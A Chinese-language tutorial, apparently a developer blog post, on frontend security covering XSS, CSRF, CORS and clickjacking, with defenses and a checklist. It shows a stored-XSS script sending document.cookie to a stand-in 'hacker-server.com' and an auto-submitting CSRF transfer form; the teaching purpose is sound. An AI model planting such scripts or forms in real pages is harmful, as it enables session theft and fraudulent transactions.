“前端也要懂安全”:XSS、CSRF、CORS、点击劫持… 一文带你构建前端安全防火墙

在前端开发领域,我们通常更关注功能实现、用户体验和性能优化。然而,有一个看不见的“战场”同样硝烟弥漫,稍有不慎,就会给用户和公司带来毁灭性的打击。这个战场,就是前端安全

很多开发者抱有这样的幻想:“安全是后端的事,我只是个写页面的。” 这种想法极其危险。随着前端变得越来越复杂,越来越多的逻辑和数据在浏览器端处理,前端早已成为网络攻击的重要入口。

想象一下这些“恐怖故事”:

  • 故事一 (XSS): 用户只是在你的网站上点开了一篇看似正常的文章,他的登录凭证(Cookie)就被悄无声息地发送给了黑客。黑客从此可以冒充该用户,为所欲为。
  • 故事二 (CSRF): 用户正在你的网站上愉快地浏览,同时,他在另一个标签页打开了一个包含恶意代码的邮件。他什么都没做,银行账户里的钱却被自动转走了。
  • 故事三 (点击劫持): 用户以为自己正在一个有趣的网站上点击“播放视频”,实际上,他点击的是一个被透明 iframe 覆盖的“删除账户”按钮。

这些都不是危言耸听,而是每天都在真实发生的网络攻击。作为构建用户界面的第一责任人,前端开发者必须建立起坚固的“安全防火墙”。

这篇文章,就是你构建这道防火墙的“蓝图”。我们将用通俗易懂的方式,为你剖析最常见的前端安全漏洞(XSS, CSRF, CORS, 点击劫持等)的攻击原理,并提供一套清晰、可立即在项目中应用的“防御手册”。


Part 1: XSS (跨站脚本攻击) —— 最古老也最危险的敌人

攻击原理故事化:
黑客发现你的博客网站有一个评论区,并且服务器没有对用户输入的评论内容做任何过滤。于是,他提交了这样一条“评论”:

<script>
  fetch('https://hacker-server.com/steal?cookie=' + document.cookie);
</script>

当其他用户浏览到这条评论时,他们的浏览器会毫不犹豫地执行这段 <script> 代码。用户的 Cookie 就这样神不知鬼不觉地被发送到了黑客的服务器上。这就是存储型XSS

XSS (Cross-Site Scripting) 的本质是:恶意代码未经过滤,与网站正常的代码混在一起,浏览器无法分辨,最终导致恶意代码被执行。

🔥 防御手册 🔥

1. 对用户输入进行“消毒”:永不信任任何输入

这是防御XSS的核心。在将用户输入的内容插入到页面 (无论是通过前端 innerHTML 还是后端模板渲染) 之前,必须进行HTML编码(转义)。

  • < 转义为 &lt;
  • > 转义为 &gt;
  • " 转义为 &quot;
  • ' 转义为 &#39;
  • & 转义为 &amp;

前端框架的内置防御: 现代前端框架如 React/Vue,默认就会对 {{ }}{ } 中插入的内容进行转义,所以你通常是安全的。

// React/Vue 中,这是安全的 ✅
<div>{userInput}</div> 

危险操作: 但如果你使用了 dangerouslySetInnerHTML (React) 或 v-html (Vue),就相当于你亲手关闭了安全阀门,此时你必须自己对内容负责。

// 极度危险 ❌
<div dangerouslySetInnerHTML={{ __html: userInput }}></div>

解决方案: 如果你确实需要富文本功能,请使用专业的HTML净化库,如 DOMPurify

import DOMPurify from 'dompurify';
const cleanHtml = DOMPurify.sanitize(userInput);
// 现在 cleanHtml 是安全的,可以用于 innerHTML
2. 设置 HttpOnly Cookie

在服务器设置 Set-Cookie 响应头时,务必带上 HttpOnly 标志。

Set-Cookie: session_id=...; HttpOnly

这样设置后,document.cookie 将无法读取到这个 Cookie,彻底断绝了 XSS 攻击者通过脚本窃取 Cookie 的念头。

3. 开启内容安全策略 (CSP - Content Security Policy)

CSP 是一个强大的安全策略,通过 HTTP 头部来告诉浏览器,我的网站只信任和加载来自特定来源的资源(脚本、样式、图片等)。

一个基本的 CSP 配置:

Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted-cdn.com;

这告诉浏览器:

  • 默认只允许加载同源的资源 (default-src 'self')。
  • 脚本文件只允许加载同源的,以及来自 https://trusted-cdn.com 的。
  • 任何内联脚本 (<script>...</script>) 和内联事件处理器 (onclick="...") 都会被禁止执行。

CSP 是防御 XSS 的一道坚固的纵深防线。


Part 2: CSRF (跨站请求伪造) —— 借刀杀人

攻击原理故事化:

  1. 用户登录了 bank.com,他的浏览器保存了 bank.com 的登录凭证 (Cookie)。
  2. 黑客诱导用户访问了一个恶意网站 hacker.com
  3. hacker.com 页面里有一个隐藏的表单,它会自动提交一个向 bank.com 转账的请求。
    <form id="csrf-form" action="https://bank.com/transfer" method="POST">
      <input type="hidden" name="to_account" value="hacker_account">
      <input type="hidden" name="amount" value="10000">
    </form>
    <script>document.getElementById('csrf-form').submit();</script>
    
  4. 当这个表单被提交时,浏览器会自动带上 bank.com 的 Cookie
  5. bank.com 的服务器收到请求,验证 Cookie 是合法的,于是转账成功。用户在毫不知情的情况下,钱就被转走了。

CSRF (Cross-Site Request Forgery) 的本质是:攻击者盗用了用户的身份(Cookie),以用户的名义发送恶意请求。

🔥 防御手册 🔥

1. 验证请求来源:SameSite Cookie 属性

这是最有效、最简单的防御手段。在服务器设置 Cookie 时,添加 SameSite 属性。

Set-Cookie: session_id=...; SameSite=Strict

SameSite 有三个值:

  • Strict: 最严格。完全禁止第三方 Cookie。任何跨站的请求都不会携带 Cookie。
  • Lax: (目前多数浏览器的默认值) 部分放宽。允许导航 (<a href>)、预加载等安全的GET请求携带 Cookie,但会阻止跨站的 POST/PUT/DELETE 请求携带 Cookie。
  • None: 允许任何情况下的跨域请求携带 Cookie,但必须同时指定 Secure 属性(即只在 HTTPS 下发送)。

SameSite 设置为 LaxStrict,基本上就能防御绝大部分 CSRF 攻击。

2. 使用 CSRF Token

这是传统的、更通用的防御方案。

  1. 当用户访问页面时,服务器生成一个随机的、与该用户会话绑定的 Token,并将其注入到 HTML 中。
  2. 前端在提交表单或发送 AJAX 请求时,从页面中读取这个 Token,并将其作为请求参数(或请求头)一起发送给服务器。
  3. 服务器收到请求后,验证这个 Token 是否与会话中存储的 Token 一致。如果不一致,就拒绝请求。

由于黑客的网站 hacker.com 无法得知这个随机 Token,因此他伪造的请求也就无法通过验证。

3. 验证 Origin / Referer 请求头

服务器可以检查 HTTP 请求头中的 OriginReferer 字段,确保请求的来源是可信的域名。但这存在一些兼容性问题,且这些头部也可能被篡改,通常作为辅助防御手段。


Part 3: CORS (跨域资源共享) —— 不是安全漏洞,而是安全策略

很多新手会把 CORS 报错当成是安全漏洞,其实恰恰相反,CORS 是浏览器为了保护你而实施的一项安全策略。它遵循“同源策略”,即默认情况下,一个源(协议+域名+端口)的网页,不允许向另一个源发起 AJAX 请求。

CORS 机制就是为了在保证安全的前提下,允许受信任的跨域请求。它通过服务器设置的 HTTP 头部来告诉浏览器:“我允许来自 https://specific-origin.com 的请求访问我的资源”。

核心 HTTP 头部:

  • Access-Control-Allow-Origin: https://example.com (指定单个源) 或 * (允许所有源,慎用!)。
  • Access-Control-Allow-Methods: GET, POST, PUT, DELETE
  • Access-Control-Allow-Headers: Content-Type, Authorization
  • Access-Control-Allow-Credentials: true (如果需要跨域传递 Cookie)。

这是后端需要正确配置的,前端开发者需要理解其工作原理,以便在联调时能快速定位问题是出在前端请求还是后端配置上。


Part 4: 点击劫持 (Clickjacking) —— 透明的陷阱

攻击原理故事化:
黑客创建一个诱人的网站,比如一个在线小游戏。然后,他用一个透明的 <iframe> 将你的网站 your-site.com 覆盖在游戏上层。<iframe>opacity 设置为 0,用户完全看不到它。
黑客会精确地调整 <iframe> 的位置,让你网站上一个敏感的按钮(比如“删除所有数据”)正好对准游戏中的“开始游戏”按钮。
当用户兴高采烈地点击“开始游戏”时,他实际上点击的是你网站上那个看不见的“删除所有数据”按钮。

🔥 防御手册 🔥

防御点击劫持非常简单,只需要在服务器响应中添加一个 HTTP 头部:X-Frame-Options

  • X-Frame-Options: DENY
    • 含义: 完全禁止任何页面通过 <iframe> 嵌套我的页面。最安全。
  • X-Frame-Options: SAMEORIGIN
    • 含义: 只允许同源的页面通过 <iframe> 嵌套我。
  • X-Frame-Options: ALLOW-FROM https://example.com/
    • 含义: (已废弃,不推荐) 只允许来自特定 URI 的页面嵌套。

现代浏览器更推荐使用 CSP 的 frame-ancestors 指令,它更灵活。

Content-Security-Policy: frame-ancestors 'self' https://trusted-partner.com;

前端安全自查 Checklist

将这份清单集成到你的开发流程和 Code Review 中:

  • [ ] 输入处理: 是否所有展示用户输入的地方都默认进行了 HTML 转义?是否避免了 v-html / dangerouslySetInnerHTML?如果必须使用,是否经过了 DOMPurify 的净化?
  • [ ] Cookie 安全: 后端是否为所有敏感 Cookie 都设置了 HttpOnlySameSite=Lax (或 Strict) 标志?
  • [ ] 内容安全策略 (CSP): 是否配置了合理的 CSP 头部,以限制脚本和资源的来源?
  • [ ] CSRF 防御: 是否依赖 SameSite Cookie?或者,所有状态变更的请求(POST/PUT/DELETE)是否都包含了 CSRF Token?
  • [ ] 框架嵌入: 是否设置了 X-Frame-Optionsframe-ancestors CSP 策略,以防止点击劫持?
  • [ ] 依赖安全: 是否定期使用 npm audit 或 Snyk/Dependabot 等工具检查第三方库的安全漏洞?
  • [ ] HTTPS: 全站是否强制使用 HTTPS?

总结

前端安全不是一门选修课,而是每一位前端工程师的必修课。它要求我们转变思维,从“信任用户输入”转变为“永不信任任何输入”,从“实现功能”扩展到“安全地实现功能”。

核心要点回顾:

  1. XSS: 防御核心是输入净化输出转义,辅以 HttpOnly Cookie 和 CSP
  2. CSRF: 防御核心是验证请求来源,SameSite Cookie 是最有效的现代方案,CSRF Token 是传统的通用方案。
  3. CORS: 是一种安全策略而非漏洞,需要后端正确配置 Access-Control-* 头部。
  4. 点击劫持: 防御核心是禁止非预期的框架嵌套,通过 X-Frame-Options 或 CSP frame-ancestors 实现。

安全是一个持续对抗的过程。今天你构建的防火墙,明天可能就会有新的攻击方式出现。保持学习,保持警惕,将安全意识融入血脉,才能真正为你的用户和产品保驾护航。

Logo

腾讯云面向开发者汇聚海量精品云计算使用和开发经验,营造开放的云计算技术生态圈。

更多推荐